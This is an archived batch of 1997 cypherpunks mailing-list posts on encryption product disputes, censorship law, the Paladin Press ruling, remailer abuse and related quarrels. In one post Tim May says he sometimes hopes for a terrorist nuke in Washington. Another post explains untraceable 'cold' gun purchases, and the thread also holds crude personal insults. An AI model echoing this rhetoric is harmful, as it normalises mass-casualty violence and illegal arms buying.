>fraudulent cocksucker, and the email address on this is genuine, and I 
>will, if you wish, allege fraud in a PGP signed mail. 

>Ps. Are you fucking the guy who wrote the CMR code for PGP up the ass, or
> does your crypto experience not stretch even that far.

Well this moron, whoever he may be has threaten to "have papers served" on
me in regards to my last post of this topic.

I am still unsure if it is actually someone from this company making these
posts. The poster still has not figured out how to make use of digital
signatures nor is he/she/it willing to put a name on their posts (hmmmm
what was their remark about cowards hiding behind anonymity??).

I guess we will see how far they are willing to take this or if it is just
the work of crafty operators from the EFF (Electronic Forgery Foundation).
:)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNGjArI9Co1n+aLhhAQE/+gP/UOxshWJKcsgLLwcJNzTDjtf+dDq0BNeo
Ll5IDj0i8+UUIo4Mas0W+JGJKuusmaPagLze3yyRjcZJ6s8Y0DqtF4TclfmEAFSC
bGmgfIiQ5/lXIpSKCYZOabPw1ONP/OeH+70GPgswdU7fs7e44MjmT0pOBzz02ot0
EDgQMqtnYUk=
=w47j
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Nov 1997 07:35:55 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Content controls
In-Reply-To: <v02140b10b08a1ba0a4ac@[198.115.135.201]>
Message-ID: <v0310280db08e8afb9644@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:57 PM -0700 11/8/97, William H. Geiger III wrote:

>Once you have given me the keys to unlock and display the data I can save
>it, copy it, reproduce it and distribut it. To assume otherwise shows a
>lack of understanding of computer systems and moderen OS's. Sure I would
>need to write some software and jump through some hoops to do it but there
>is nothing that your system can do to prevent me from doing so. Now wether
>it is worth the effort to do so will depend on the value of the data
>involved. Once you have given me the ability to display the data you have
>lost the battle as I can do whatever I want with it.

Exactly so. Once able to go into the listener's ears, the viewer's
eyeballs, or the customer's whatever, the battle is basically lost.

About the best that can be hoped for is to insert some "almost unnoticeable
mark"--a watermark, a notch filter (a la early scheme for combatting DAT
piracy), etc. And even these "almost unoticeable marks" are easily twiddled
away. Unless they are so noticeable that serious image or sound distortion
occurs when the marks are removed or obscured.

Even purely digital works are easily copied. Even unique IDs per software
piece are easily removed (e.g., by having N customers compare and diff out
the noncommon bits).

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Nov 1997 04:57:17 +0800
To: cypherpunks@cyberpass.net
Subject: Br'er Tim and the Bug Hole
In-Reply-To: <199711111642.KAA20562@wire.insync.net>
Message-ID: <v03110741b08e51241192@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

At 11:21 am -0500 on 11/11/97, Tim May wrote:

> Maybe a book about fighting for
> liberty provided "abstract advocacy speech so explicit in its palpable
> entreaties to violent crime" (and so it is unprotected, according to the
> courts).

And then he wrote:

> But in many ways, this is good news. The war is coming faster than I
> thought.
>
> The judge in this case has committed a capital crime.


"Please, Br'er Fox, don' throw me into that briar patch!"???


Sheesh.

Remind me not to lock myself up, all alone, with a bunch of live ammo and
almost no one to talk to but the internet, in an isolated hilltop
country-house-cum-cypherfortress, in the most liberal county, in the most
liberal state, in the world's last (crypto)socialist superpower.


I mean, Tim, I have to admit I'm just as nervous as the next guy about being
next to soft targets these days, but I almost find myself agreeing with
other people, people you would respect otherwise, who are saying that you're
making yourself the greatest friend that Reno and Freeh ever had. A
vertiable poster boy for statism if there ever was one. And so on.


I figure the state, particularly the guys who work at the pointy end of the
bayonet, is kind of like Mongo in "Blazing Saddles": You shouldn't shoot at
them, because it only makes them mad. Unless, of course, they start shooting
at you first, and you have no other choice. Which, by the way, *you're* not
doing, even though you assert the opposite. "Mooning the ogre" of public
opinion, as Stuart Alsop puts it, and forcing a showdown with people who
would normally not give a shit about you, isn't going to do you, or anyone
who agrees with you, any good. It's like spitting on a cop as he walks by
and then marvelling at his suprising ferocity when he beats you to a bloody
pulp...

I mean, even the best Heinlien hero knows you don't piss off the bad guys
when there are more of them than you, especially when they know where you
live.


And, frankly, I even disagree with Tim's analysis of the situation. It took
a long time, all the way from the treaty of Westphalia to the Declaration of
Independence, for the modern nation-state to finally overthrow aristocracy
and demonstrate its superiority in the allocation of force. After that, it
took less than a generation, with the French revolution and Napoleon, for
the nation-state to show all the really bad things it can do with that
power.

I expect that, even with "net-years" and Moore's Law, it'll be quite a while
yet for the cryptoanarchy/Market Earth/geodesic society/whatever
"revolution" to finish, and, when it does, the result will probably be much
less violent than a SWAT raid on Tim's Way Cool Latter-Day
Farnham's-Freehold in the Santa Clara mountains.

What it'll mean *after* that, I leave as an excercise for the reader. Tim's
got just as good an idea about it as Duncan, or me, or anyone else with (in
my case, at least) a hyperactive imagination and too much time to use it.
Frankly, it would be nice to have Tim around to watch it happen, or at least
to think about it some more. If he's got nothing better to do, that is.


On the other hand, Tim, I suppose, there *is* Bosnia as a prima facie
counterexample, and I bet that *that* little fandango probably started with
a bunch of "freedom fighters" like the one you fancy yourself to be these
days.

Frankly, if that's the model you want to follow, Tim, I would suggest that
you actually move somewhere where other folks who think like you live
already, instead of shoving your favorite Mac-10 up the nose of every
statist treehugger you bump into out there in lotusland. Maybe (ironically)
the "Blue Heaven" neighborhoods in Idaho, or somewhere in southeast Nevada,
or Arizona, or Wyoming, or Montana. I like the North Fork of the Flathead,
myself, but that's just 'cause the country's so damn pretty. "Amerika", such
as it is, is still a pretty big place.

I bet if you go to a place like that, where intellegent people appreciate
guns and freedom, you won't have to clean the snot off the end of your
gunbarrel so often, and, you might have some help when -- or if -- Mongo's
Minions eventually *do* burn their way through your steel-reinforced front
door.

I also think using a nym for this kind of inflamitory stuff might also be
more useful, first amendment, or no. Write code, not laws, and all that.
Certainly the tools are there, now, and, if they're not to your liking, you
could probably build (or buy :-)) a few of your own. Even Patrick Henry had
um, common sense, about such things.


Finally, Tim, it seems to me like you've just gotten bored. You've figured
out how to work, and save, and invest the proceeds, so that now you're never
going to have to work again a day in your life unless you want to. Something
most of us, myself included, will never learn, I bet. But now, it's as if
you want to risk it all, and make your life, um, interesting, again, by, as
Kesey once said, "starring in your own movie".

And, it's a bad movie, Tim.  With all the good ideas you have about freedom,
and cryptography on free networks, and the way the world's probably going to
turn out as a result, not to mention the influence you've had on the way the
world thinks about such things, it's a shame that this particular movie of
yours has such a cliche', almost cringingly liberal, 1970's anti-hero in it,
ala "Marathon Man", or "Day of the Condor", or "Butch Cassidy". Or "Bonnie
and Clyde".


Frankly, I liked Lazarus Long, or even old Farnham himself, a lot better.
Hell, even a better, more libertarian (Nazi uniforms? Sheesh^2...), remake
of "Starship Troopers" would be preferrable to the scipt you've written
yourself.

At least Johnny Rico walks away when the bugs are finished coming out of the
bug-hole...


Cheers,
Bob Hettinga



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Yes. It's 5.5 . Resistance is futile...

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Wed, 12 Nov 1997 06:52:19 +0800
To: cypherpunks@toad.com
Subject: (Fwd) Gotta love the Supreme Court
Message-ID: <Pine.LNX.3.95.971111153602.323D-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain




Whew.. Well I hope we don't have to depend on the Supreme
Court for further privacy decisions.....

>   
>U.S. High Court Denies Strip-Search Appeal
>
>   By James Vicini
>   
>   WASHINGTON (Reuters) - The Supreme Court let stand Monday a ruling
>   that public school officials did not violate clearly established
>   constitutional privacy rights by twice strip-searching two girls in
>   the second grade.
>   
>   The justices left intact a U.S. appeals court ruling that the
>   officials may be guilty of "questionable judgment," but could not be
>   held liable for money damages for an unconstitutional search of the
>   8-year-old girls.
>   
>   The case began May 1, 1992, when a teacher and a school counselor in
>   Talladega, Ala., conducted the strip-searches after a classmate
>   reported $7 missing from her purse.
>   
>   Another classmate accused one of the girls, Cassandra Jenkins, of
>   stealing the money and putting it in the backpack of the other girl,
>   Oneika McKenzie. No money was found in the backpack.
>   
>   The two girls were taken to a restroom and told by music teacher
>   Susannah Herring to remove their clothes. They were told to come out
>   of the toilet stalls with their underpants down to their ankles, which
>   they did.
>   
>   No money was found on the girls or in their clothing. After a trip to
>   the principal's office, the girls were taken by Herring and guidance
>   counselor Melba Simon back to the restroom for another, unsuccessful
>   strip-search.
>   
>   The parents of the two girls sued for damages under the civil rights
>   laws, alleging violations of their constitutional right to be free
>   from unreasonable searches.
>   
>   A federal judge dismissed the lawsuit. A divided appeals court in
>   June upheld the decision, ruling that the teacher and counselor enjoyed
>   partial immunity from the constitutional claim.
>   
>   The appeals court said that in 1992 the law involving searches of
>   students at school had not been sufficiently developed to place the
>   educators on notice that their conduct was constitutionally
>   impermissible.
>   
>   The Supreme Court in a 1985 ruling gave school administrators greater
>   flexibility to search students, but said they still have a legitimate
>   right to privacy and added that the search cannot be "excessively
>   intrusive."
>   
>   Attorneys for the two girls appealed to the Supreme Court, arguing
>   that the appeals court decision conflicted with the 1985 precedent.
>   They said the appeals court decision sent the wrong message to
>   "school officials nationwide."
>   
>   They said school authorities may strip-search students to prevent
>   imminent danger from the possession of weapons or illegal drugs, but
>   they may not use intrusive searches for "the most minor suspected
>   infractions."
>   
>   The attorneys said Supreme Court guidance was urgently needed on the
>   extent of constitutional constraints on strip-searches in schools.
>   
>   Attorneys for the teacher and the counselor urged that the appeal be
>   denied, saying the appeals court correctly decided the case. The
>   Supreme Court turned down the appeal without any comment or dissent.
>    

"THE BILL OF RIGHTS: Void where prohibited by law."

jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 12 Nov 1997 08:24:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Gun Control brings on a New Arms Race
Message-ID: <199711112344.PAA18904@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>(A friend of a friend scored a "cold" Glock 17L...$400 in "NQA"
>condition, immediate delivery.)

What is a "cold" weapon?  What does "NQA" mean?

Thanks.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 12 Nov 1997 08:33:47 +0800
To: cypherpunks@cyberpass.net
Subject: Secure Hashing for Entropy
Message-ID: <199711112344.PAA18932@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Often we have a source of entropy whose output we use as the input to
a secure hash function.

Does it matter if the hashing function is secure?  I don't think so.
All that really matters is that the function hashes evenly so that any
input string is about as likely as any other input string to result in
a particular hash.  Even if the hash function is weak and collisions
can be found, if it is even the same level of entropy is still
available.

Have I got this right?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Tue, 11 Nov 1997 22:13:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Australian banks using uncracakble IDEA!
In-Reply-To: <312e1ae944182fdff692ebfb31299567@anon.efga.org>
Message-ID: <Pine.GSO.3.95.971111160220.18498b-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 10 Nov 1997, Anonymous wrote:

> (Those Australian banks that offer Web banking sites do, in fact,
> use a strong form of cryptography known as IDEA, which is thought
> to be effectively uncrackable.) 

Are there any numbers available about different countries that have web
banking services, how many banks there are in each country, how many
people are using the services, and may be a URL of the bank. If you know
this kind of data, please mail it to me, when I put together the list I
will make a summary of it.

Like in Estonia 3 banks of 11 have Internet banking services available, at
least the same amount will follow soon, and about 1% of country's
population is using Internet banking services. 

Jyri Kaljundi
jk@stallion.ee
AS Stallion Ltd
http://www.stallion.ee/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Nov 1997 08:25:34 +0800
To: Declan McCullagh <cypherpunks@Algebra.COM
Subject: Control Freaks on the Rampage
In-Reply-To: <v03007807b08e992878f7@[168.161.105.216]>
Message-ID: <v0310280fb08e92bf695f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:22 PM -0700 11/11/97, Declan McCullagh wrote:
>***************
>
>[Forwarded with permission. --Declan]
>
>Date: Mon, 10 Nov 1997 11:53:02 -0500
>From: Nina Crowley <crowleyn@ultranet.com>
>Subject: Senate hearing summary
>
>Hi,
>This is really long but I think everyone should get a sense of the lynch
>mob mentality in last weeks Senate subcommittee hearing.
...the usual Congressional moves to shred the Constitution in the "name of
the children and everything that is decent."

This is all part of the death of a thousand cuts the Constitution is
undergoing, with new laws proposed faster by the subsidized vermin in
Congress than civil rights and liberty-advocating groups can respond.

Mandatory voluntary self-labelling, the CDA, the Swinestein ban on
bomb-making information on the Net, mandatory voluntary television ratings,
jawboning the cable industry, the suit against Paladin Press for a book,
the key escrow proposals, the PICS voluntary mandatory standard, Save the
Children, Donna Rice and her lap dancing compatriots, regulation of
Internet commerce, and Protection of the Critical Information
Infrastructure. (I assume you're all familiar with these examples, and
more.)

The death of a thousand cuts is that even if 900 or 980 of them are struck
down, overturned, derailed, or bypassed, the remaining cuts kill.

"Congress shall make no law..." doesn't mean "except if saves just _one_
child's life."

"Congress shall make no law..." doesn't mean "unless FEMA and Office of
Emergency Preparedness issue orders to the contrary."

"Congress shall make no law..." doesn't mean "Congress can threaten the
music industry with unconstitutional actions which will cost lots of money
to fight unless the music industry voluntary self-regulates."

"Congress shall make no law..." doesn't mean a thousand local jurisdictions
get to ban books, censor CD lyrics, restrict birth control information, ban
certain kinds of guns, or otherwise violate the U.S. Constitution (which
all states agreed to adhere to as a condition of their admittance to the
Union).

A lot of us are getting really tired of fighting the same battles over and
over again. It's time the Supreme Court said the same thing. Perhaps if
they issued a clearcut rebuke Congress might get the message, something
like:

"Look, free speech means you guys can't censor music, or lyrics, or books,
or hymnals, or just about anything else. And you can't use the threat of
passing legislation which we'll be dutybound to strike down to "pressure"
writers and publishers into accepting this Orwelllian notion of "mandatory
voluntary" self-regulation. Get this through your heads. "

I'm not holding my breath.

Sometimes I hope for a terrorist nuke in downtown Washington.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Wayner <pcw@access.digex.net>
Date: Wed, 12 Nov 1997 08:51:02 +0800
To: cypherpunks@toad.com
Subject: Bug Bounty: Disappearing Cryptography...
Message-ID: <v03102840b08e3595d3ba@[199.125.128.5]>
MIME-Version: 1.0
Content-Type: text/plain




My publisher is preparing to reprint my book _Disappearing
Cryptography_. As part of a general maintence scheme, I'm
offering a reward of $10.00 for the first person to discover a
technical error found in the book. Find as many as you can and
win some cash.


Naturally, there are some limitations to the offer:

* Only the first person to report an error is eligible for the
reward. The final decision in the case of a tie, will be up to
me. The ties will be broken using the time my SMTP server
(access.digex.net) receives the mail. I reserve the right to
give out multiple rewards in the case of a tie or a close
finish. In fact, I'll aim to do this. I just don't want the
situtation to emerge where everyone can send me the same bug
report and feel eligible for a reward.

* Some multiple errors may only count once. Imagine that the
third page was missing from the book. Technically, all following
pages would be misnumbered. I reserve the right to group any
collection of bugs together and label them one error. I will use
this right judiciously to avoid hair splitting arguments, but
not to deny people multiple rewards. The more errors that are
fixed, the better.

* Grammar errors aren't eligible, but I welcome any comments.
These disputes are often more issues of taste than rule.

-Peter Wayner






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Nov 1997 08:43:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <1.5.4.32.19971111233358.00a03ac8@pop.pipeline.com>
Message-ID: <v03102810b08e98b7d044@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:33 PM -0700 11/11/97, John Young wrote:
>Dumb of me to get in the middle of this, but the bloodlust's
>up:
>
>Tim's statements are gutsy and right: there's no gain
>in self-censoring, shading one's anger to appease
>the goons of whatever firepower. (Bob, go to end.)

One need only think back to the words of Patrick Henry, Jefferson, Thomas
Paine, and all the others. No doubt Bob H. would have argued that they
should cool their anger, silence their words, and not give King George a
"good reason" to crack down on the Colonies.

Or tell Eugene Debs to stop talking about the illegality of the draft and
stop talking about the mistake of entering the Great War to support some
duchies and satrapies. (Debs was jailed for his _speech_...so much for the
First Amendment, even back in the 1918 time period.)

And so on. Throughout history there have been those who spoke their mind.
And others who told them to cool it, to not anger the local prince, to not
rock the boat.

While I don't necessarily put myself  in their class, it's clear to me that
America stands for basically libertarian principles, of letting people say
and read whatever they damned well please. This can include denying the
Holocaust, preaching the Gospel of Satan, calling for certain judges to be
taken out into the parking lot and executed by firing squad, or even
calling for the overthrow of the government.

When we let the spectre of crackdowns by Louis Freeh and Janet Reno cause
us to self-censor ourselves, then they have well and truly won.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Nov 1997 08:52:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Gun Control brings on a New Arms Race
In-Reply-To: <199711112344.PAA18904@sirius.infonex.com>
Message-ID: <v03102812b08e9ce1cac8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:44 PM -0700 11/11/97, Monty Cantsin wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Tim May wrote:
>>(A friend of a friend scored a "cold" Glock 17L...$400 in "NQA"
>>condition, immediate delivery.)
>
>What is a "cold" weapon?  What does "NQA" mean?

Cold = no paperwork, no report to authorities, no waiting period.

NQA = No Questions Asked

(I can't believe I have to explain to Monty Cantsin these things, which
ought to be deducible from context. Especially in combination. And
especially with the "immediate delivery" redundancy added.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Nov 1997 06:28:06 +0800
To: "Donald E. Eastlake 3rd" <cryptography@c2.net
Subject: Tygar cracks SET (was Re: Freeware SET?)
In-Reply-To: <v03110701b08a31e6dc15@[139.167.130.246]>
Message-ID: <v03110768b08e8307ca92@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:11 pm -0500 on 11/9/97, Donald E. Eastlake 3rd wrote:


> The SET reference implementation was written only with a concern for protocol
> correctness and essentially no concern for operational usability.  It is not
> clear to me that a product could be based on it without a lot of additonal
> work.  But I suppose it might be useful for hacking...

At Doug Tygar's talk at Harvard last week, he claimed to have found a way
to crack it. I, um, forgot to press him on this. Has anyone heard about
this, or what it might be?

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: VME Encryption <matrix@meganet.com>
Date: Wed, 12 Nov 1997 09:13:36 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: ???
Message-ID: <3.0.32.19971111165503.006da60c@ibcnet.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear Bill Geiger,

My first reacation to your followup letter was getting more upset, and I
almost replied with another mad letter. But then I decided to better myself
and see who I'm dealing with.

I've looked at your web site, and looks like you might be a nice person.
So, I tried to figure out the reason for the previous vicious letter that
was completely unjustified and the following attacks you placed.

I'll take it from the point that you might not know all the facts and
explain. If that's not enough, I'm sorry.

1) The million dollars challenge is no longer valid for the last 3 months.
2) The current challenge bares NO monetary prize.
3) VME flowcharts, algorithm AND a working application is in the hands of
250 software companies for evaluation (Microsoft, IBM etc.)
4) We can not put it on the net, due to strict US export rules (as you
mention in your web site as well)
5) Our program, flowcharts & algorithm have been filed with the US patent
office and will be public domain within a year.

If that helps explain our part, I'm glad. And if not, it's o.k. - it's a
free country and everybody is entitled to their own mind. It's just feel
sheety to be attacked by strangers that knows nothing about you, specially
people that you might think should have some interest in keeping the
individual right to privacy from government and te likes.

We started this challenge with some goals in mind, but fighting with a
group of cryptographers was not one of them. If anyone wants more technical
data, we'll be glad to submit what we can under the circumstances, if
someone wants to keep of flaming us, it's o.k. - but we won't respond anymore.

Thanks,

Project Management.

At 09:17 AM 11/11/97 -0600, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <3.0.32.19971110100935.006d91b0@ibcnet.com>, on 11/10/97 
>   at 01:09 PM, VME Encryption <matrix@meganet.com> said:
>
>>I rest my case. Please email me your mailing address for the purpose of
>>serving and we'll meet in court.
>
>Serve whatever you want, I will be glad to forward them to my lawyers.
>
>Just out of curiosity do you threaten to sue everyone who says somthing
>you don't like??
>
>BTW: you should keep posting *publicly* I showed the thread from the
>CP-List and sci.crypt to my lawyers yesterday. They laughed so hard they
>bought me free drinks at the clubhouse. Who knows a few more posts from
>you and I may be able to get a steak dinner out of them. :)
>
>- -- 
>- ---------------------------------------------------------------
>William H. Geiger III  http://users.invweb.net/~whgiii
>Geiger Consulting    Cooking With Warp 4.0
>
>Author of E-Secure - PGP Front End for MR/2 Ice
>PGP & MR/2 the only way for secure e-mail.
>OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html
            
>- ---------------------------------------------------------------
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.3a
>Charset: cp850
>Comment: Registered_User_E-Secure_v1.1b1_ES000000
>
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>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: EFF <eff@dev.null>
Date: Wed, 12 Nov 1997 08:34:10 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Some IDIOT called CRYPTO CZAR INTERNATIONAL
In-Reply-To: <199711112033.PAA04786@users.invweb.net>
Message-ID: <3468EED3.3F3A@dev.null>
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William H. Geiger III wrote:
> Paul Bradley <paul@fatmans.demon.co.uk> said:

> >> usually we ignore people at your level, but we'll try our best for you, as
> >> it might be just temorary insanity.
 
> >Anyone have the same suspicions as me as to who is marketing VME, I`ll
> >guess trh same guy (his name escapes me for now) who spent a few weeks on
> > the list earlier this year touting his unbreakable encryption scheme
> >based on LCSRs.

> Well this moron, whoever he may be has threaten to "have papers served" on
> me in regards to my last post of this topic.
> 
> I am still unsure if it is actually someone from this company making these
> posts. The poster still has not figured out how to make use of digital
> signatures nor is he/she/it willing to put a name on their posts (hmmmm
> what was their remark about cowards hiding behind anonymity??).
> 
> I guess we will see how far they are willing to take this or if it is just
> the work of crafty operators from the EFF (Electronic Forgery Foundation).

  Nope. The EFF are just helpless victims of this rude asshole.
Please send the $50.00 you were planning to give to Nonookie
Masturbatshi
for his Musky source code to the EFF instead, so that we can get drunk
and heal our fragile egos.

EFFeminantMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 12 Nov 1997 07:07:31 +0800
To: Peter Herngaard <pethern@inet.uni2.dk>
Subject: Re: 1st Ammendment Tossed in Paladin Case
In-Reply-To: <3.0.1.32.19971111115626.00cf2150@dnai.com>
Message-ID: <v03007802b08e93782291@[168.161.105.216]>
MIME-Version: 1.0
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Here are two portions I found interesting:

>the district court granted Paladin's motion for summary
>judgment and dismissed plain- tiffs' claims that
>Paladin aided and abetted Perry, holding that these
>claims were barred by the First Amendment as a matter
>of law. Because long- established caselaw provides
>that speech - - even speech by the press - - that
>constitutes criminal aiding and abetting does not
>enjoy the protection of the First Amendment, and
>because we are convinced that such caselaw is both
>correct and equally appli- cable to speech that
>constitutes civil aiding and abetting of criminal
>conduct (at least where, as here, the defendant has
>the specific pur- pose of assisting and encouraging
>commission of such conduct and the alleged assistance
>and encouragement takes a form other than abstract
>advocacy), we hold, as urged by the Attorney General
>and the Department of Justice, that the First
>Amendment does not pose a bar to a finding that
>Paladin is civilly liable as an aider and abetter of
>Perry's triple contract murder... the district court's
>grant of summary judgment in Paladin's favor is
>reversed and the case is remanded for trial.
>


>Thus, in a case indistinguishable in principle from that before us,
>
>the Ninth Circuit expressly held in United States v. Barnett, 667 F.2d
>
>835 (9th Cir. 1982), that the First Amendment does not provide pub-
>
>lishers a defense as a matter of law to charges of aiding and abetting
>
>a crime through the publication and distribution of instructions on
>
>how to make illegal drugs. In rejecting the publisher's argument that
>
>there could be no probable cause to believe that a crime had been
>
>committed because its actions were shielded by the First Amendment,
>
>and thus a fortiori there was no probable cause to support the search
>
>pursuant to which the drug manufacturing instructions were found,
>
>the Court of Appeals explicitly foreclosed a First Amendment defense
>
>not only to the search itself, but also to a later prosecution:
>
>To the extent . . . that Barnett appears to contend that he is
>
>immune from search or prosecution because he uses the
>
>printed word in encouraging and counseling others in the
>
>commission of a crime, we hold expressly that the first
>
>amendment does not provide a defense as a matter of law to
>
>such conduct.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: VME Encryption <matrix@meganet.com>
Date: Wed, 12 Nov 1997 10:08:57 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Some IDIOT called CRYPTO CZAR INTERNATIONAL
Message-ID: <3.0.32.19971111175921.006da60c@ibcnet.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear Paul,

I'll ignore all profanities and go straight to the points you make:

1) Never heard of LCSR (or whatever) and we market our product ourself,
Meganet Corporation from California USA.

2) AOL, NCR, Perot Systems & dozens other have already looked into the
product and contaced us, so yes, they did saw it and liked what they saw.

3) you use a lot of acronyms - what is CMR ? LCSR ?

4) If you've been misinformed, then I hope that straighten it up for you,
and if you're still upset about whatever, may god bless you.

more info at www.meganet.com

If you want more info and can keep a decent language, email us back. If you
preffer to keep on flaming, cool for you, but we won't bother answering.

p.s. - I wonder if you know what's the source of all the bad rep we've got
- nobody knows us and we never posted anything on your forum, so what the
heck ?

Thanks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 12 Nov 1997 07:30:57 +0800
To: cypherpunks@toad.com
Subject: Re: Databasix conspiracy theories
Message-ID: <4e0fdef2bdef3513815dc369c8dda4fc@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Andy Dustman wrote:
> Note that these comments apply primarily to the cracker remailer.

> On Tue, 11 Nov 1997, Anonymous wrote:
> > Perhaps the next wave of attacks on remailers will not consist of
> > attempts to shut them down altogether but to progressively cripple them
> > by getting certain features disabled, one by one.  This seems to have
> > already started.  The strategy seems to be to fabricate a form of
> > "abuse", anonymously through remailers, for which the seemingly
> > "logical" solution is to disable a certain feature.  This has already
> > proven successful with header pasting, for example.  Now you can't post
> > to Usenet and set the From: address to that of your own 'nym.

  I think this has not only "already started," but is already reaping
exactly the results intended.
  The remailer attacks are very similar to age-old methods of censorship
and control by government and society. Those who define the 'problem' 
have taken a large step toward directing/controlling the 'solution.'

  The 'final solution' to remailer spam is to host it @dev.null, but
